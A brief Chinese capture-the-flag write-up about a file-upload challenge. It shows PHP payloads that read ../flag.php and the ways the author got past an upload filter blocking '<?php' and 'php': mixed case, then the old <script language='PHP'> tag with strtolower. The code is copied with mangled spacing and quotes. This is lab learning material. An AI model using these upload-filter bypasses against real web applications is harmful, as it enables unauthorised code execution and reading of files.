1、
打开题目得到这个界面
2、随便上传一个文件
上传了之后还可以打开
这里就可以尝试上传一个PHP文件来获取到flag
网页源代码显示 上传路径在u目录下 所以需要…/flag.php
返回上一级 打开flag.php
尝试上传一个php文件读取flag。php文件参考http://www.w3school.com.cn/php/php_file_open.asp
<?php $ myfile = fopen("../flag.php", "r") or die("Unable to open file!"); echo fread($ myfile,filesize("../flag.php")); fclose($ myfile); ?>3、上传之后却发现代码无法正常执行 过滤了<?php 和 php
所以尝试一下大小写混写
<?PHP $ myfile = fopen("../flag.php", "r") or die("Unable to open file!"); echo fread($ myfile,filesize("../flag.php")); fclose($ myfile); ?>发现还是不行 但是没有显示<?
接着 我们可以换一下PHP的写法 例如已经被淘汰了的写法
我们换成
< script language=“PHP”>
$ myfile = fopen("…/flag.".strtolower(“PHP”), “r”) or die(“Unable to open file!”);
echo fread($ myfile,filesize("…/flag.".strtolower(“PHP”)));
fclose($myfile);
</ script>
上传之后发现什么都没有 则表示我们的PHP代码被成功执行了
4、
crtl+u 拿到flag